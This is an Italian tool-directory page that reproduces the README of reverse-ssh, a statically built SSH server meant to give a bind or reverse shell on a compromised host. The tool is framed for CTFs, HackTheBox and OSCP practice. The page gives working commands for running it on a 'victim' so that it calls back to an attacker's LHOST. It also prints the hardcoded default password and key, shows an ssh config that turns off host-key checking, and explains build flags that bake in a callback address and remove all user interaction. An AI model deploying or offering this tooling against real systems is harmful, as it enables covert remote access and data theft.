Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
reverse-ssh — Server SSH compilato staticamente con funzionalità di reverse shell per CTF e simili. | Kitploit
Strumenti/GitHubGitHub/fahrj/reverse-ssh
Post-ExploitCTFPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubfahrj/reverse-ssh

reverse-ssh

Server SSH compilato staticamente con funzionalità di reverse shell per CTF e simili.

Vedi Repository
1.1k1503 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ReverseSSH

Un server SSH compilato staticamente con funzionalità di connessione inversa per un accesso remoto semplice ma potente. Particolarmente utile per sfide HackTheBox, CTF o simili.

È stato sviluppato ed è stato ampiamente utilizzato durante la preparazione all'esame OSCP.

Ottieni l'ultima release

Showcase

Caratteristiche

Ottenere una reverse shell con netcat è bello, certo, ma chi non ha mai chiuso accidentalmente una reverse shell con un interrupt da tastiera per via della memoria muscolare? Oltre alla loro fragilità, queste shell mancano spesso di funzionalità di comodità come l'accesso interattivo completo, il completamento con TAB o la cronologia.

Invece, puoi semplicemente distribuire il server SSH leggero (<1.5MB) reverse-ssh sul target e utilizzare ulteriori comodità come trasferimento file e port forwarding!

ReverseSSH cerca di colmare il divario tra il primo accesso su un target e la piena escalation dei privilegi locali. I suoi punti di forza principali sono i seguenti:

  • Accesso shell completamente interattivo (vedi le avvertenze per vecchie versioni di Windows sotto)
  • Trasferimento file tramite sftp
  • Port forwarding locale / remoto / dinamico
  • Può essere usato come bind e reverse shell
  • Supporta i sistemi operativi Unix e Windows

Avvertenze per Windows

Una PowerShell completamente interattiva su Windows si basa su Windows Pseudo Console ConPTY e quindi richiede almeno Win10 Build 17763. Nelle versioni precedenti puoi comunque ottenere una reverse shell interattiva che non gestisce i codici del terminale virtuale come i tasti freccia o gli interrupt da tastiera. In tali casi devi aggiungere il comando cmd, cioè ssh <OPTIONS> <IP> cmd.

Puoi ottenere accesso shell completamente interattivo per versioni precedenti di Windows inserendo ssh-shellhost.exe da OpenSSH per Windows nella stessa directory di reverse-ssh e poi usando il flag -s ssh-shellhost.exe. Questo farà passare tutto il traffico attraverso ssh-shellhost.exe, che imita una pty e trasforma tutti i codici del terminale virtuale in modo che Windows li comprenda.

Requisiti

La semplice esecuzione dei binari forniti si basa solo sui requisiti di sistema di golang.

In breve:

  • Linux: versione del kernel 2.6.23 e successive
  • Windows: Windows Server 2008R2 e successive o Windows 7 e successive

La compilazione richiede inoltre:

  • golang versione 1.15
  • opzionalmente upx per la compressione (es. apt install upx-ucl)

Utilizzo

Una volta che reverse-ssh è in esecuzione sulla vittima, puoi connetterti con qualsiasi nome utente e la password predefinita letmeinbrudipls, la chiave ssh o qualsiasi altra cosa specificata durante la compilazione. Dopotutto, è solo un server ssh:

root@kitploit:~
# Accesso shell completamente interattivo
$ ssh -p <RPORT> <RHOST>

# Esecuzione semplice di comandi
$ ssh -p <RPORT> <RHOST> whoami

# Trasferimenti di file completi
$ sftp -P <RPORT> <RHOST>

# Port forwarding dinamico come proxy SOCKS sulla porta 9050
$ ssh -p <RPORT> -D 9050 <RHOST>

Esecuzione di ReverseSSH come bind shell

root@kitploit:~
# Vittima
victim$ ./reverse-ssh

# Attaccante (password predefinita: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>

Esecuzione di ReverseSSH come reverse shell

Nota: puoi compilare ReverseSSH con parametri per LHOST e LPORT per facilitare l'esecuzione sul target, vedi sotto

root@kitploit:~
# Sull'attaccante (preparati a ricevere la richiesta in arrivo;
# può essere omesso se hai già un demone ssh in esecuzione, es. OpenSSH)
# NOTA: La LPORT 8888 collide con le connessioni in arrivo; usa il flag `-b 8889` o simile sulla vittima in tal caso
attacker$ ./reverse-ssh -v -l -p <LPORT>

# Sulla vittima
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# o in caso di un demone ssh in ascolto sulla porta 22 con autenticazione tramite password per l'utente 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>

# Attaccante (password predefinita: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# o con la configurazione ssh qui sotto
attacker$ ssh target

Alla fine è solo ssh, quindi puoi catturare la chiamata di port forwarding remoto proveniente dalla macchina vittima con il tuo demone openssh in ascolto sulla porta 22. Basta anteporre <USER>@ e fornire la password quando richiesto. La connessione verso casa è attualmente solo tramite password, perché non ho ancora voluto incorporare una chiave privata...

Per ancora più comodità, aggiungi quanto segue al tuo ~/.ssh/config, copia la chiave privata ssh in ~/.ssh/ e poi chiama semplicemente ssh target o sftp target:

root@kitploit:~
Host target
        Hostname 127.0.0.1
        Port 8888
        IdentityFile ~/.ssh/id_reverse-ssh
        IdentitiesOnly yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null

Utilizzo completo

root@kitploit:~
reverseSSH v1.2.0  Copyright (C) 2021  Ferdinor <[email protected]>

Usage: reverse-ssh [options] [[<user>@]<target>]

Examples:
  Bind:
        reverse-ssh -l
        reverse-ssh -v -l -p 4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh [email protected]
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 [email protected]

Options:
        -l, Avvia reverseSSH in modalità ascolto (sovrascrive lo scenario reverse)
        -p, Porta su cui reverseSSH è in ascolto per connessioni ssh in arrivo (scenario bind)
                o dove tenta di stabilire una connessione ssh (scenario reverse) (predefinita: 31337)
        -b, Solo scenario reverse: si lega a questa porta dopo la connessione verso casa (predefinita: 8888)
        -s, Shell da lanciare per le connessioni in arrivo, es. /bin/bash; (predefinita: /bin/bash)
                per windows può essere usata solo per fornire un percorso a 'ssh-shellhost.exe' per
                migliorare le shell precedenti a Windows 10 (es. '-s ssh-shellhost.exe' se nella stessa directory)
        -N, Nega tutte le richieste di shell/exec/subsystem e port forwarding locale in arrivo
                (se è necessario solo il port forwarding remoto, es. quando si intercettano connessioni reverse)
        -v, Emetti output di log

<target>
        Target opzionale che abilita lo scenario reverse. Può essere preceduto da
        <user>@ per autenticarsi come utente diverso da 'reverse' durante la connessione verso casa

Credentials:
        Accetta tutte le connessioni in arrivo da qualsiasi utente con uno dei seguenti:
         * Password "letmeinbrudipls"
         * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

Istruzioni di compilazione

Assicurati di installare i requisiti sopra indicati, come golang in una versione corrispondente, e di configurarlo correttamente. Successivamente, puoi compilare con make, che creerà binari statici in bin. Usa make compressed per comprimere i binari con upx e ridurre ulteriormente le loro dimensioni.

root@kitploit:~
$ make

# o per creare anche binari compressi con upx
$ make compressed

Trucchi di compilazione

Puoi anche specificare una o più delle seguenti variabili d'ambiente durante la compilazione per personalizzare ReverseSSH in base al tuo caso d'uso:

  • RS_SHELL per cambiare la shell predefinita
  • RS_PASS per fornire la tua password personalizzata
  • RS_PUB per fornire la tua chiave autorizzata personalizzata
  • LUSER per cambiare il nome utente predefinito del tentativo di connessione ssh
  • LHOST per fornire un valore LHOST predefinito e far sì che ReverseSSH sia predefinito allo scenario reverse
  • LPORT per cambiare la porta di ascolto predefinita o la porta a cui viene inviato un tentativo di connessione ssh
  • BPORT per cambiare la porta di ascolto predefinita delle connessioni reverse sulla macchina attaccante; 0 significa che viene presa una porta libera qualsiasi
  • NOCLI con qualsiasi valore rimuove tutta l'interazione con l'utente (il binario ignora tutti i flag o argomenti forniti)
root@kitploit:~
$ ssh-keygen -t ed25519 -f id_reverse-ssh

$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

Compilazione per diversi sistemi operativi o architetture

Per impostazione predefinita, reverse-ssh viene compilato per il tuo sistema operativo e architettura correnti, oltre che per linux e windows in x86 e x64. Per compilare per altre architetture o un altro sistema operativo puoi fornire variabili d'ambiente che corrispondono al tuo target, ad esempio per linux/arm64:

root@kitploit:~
$ GOARCH=arm64 GOOS=linux make compressed

Un elenco dei target disponibili nel formato OS/arch può essere ottenuto tramite go tool dist list.

Contribuisci

Manca una funzione straordinaria? Qualcosa non funziona come previsto?

Crea un issue o una pull request!

Scarica lo strumento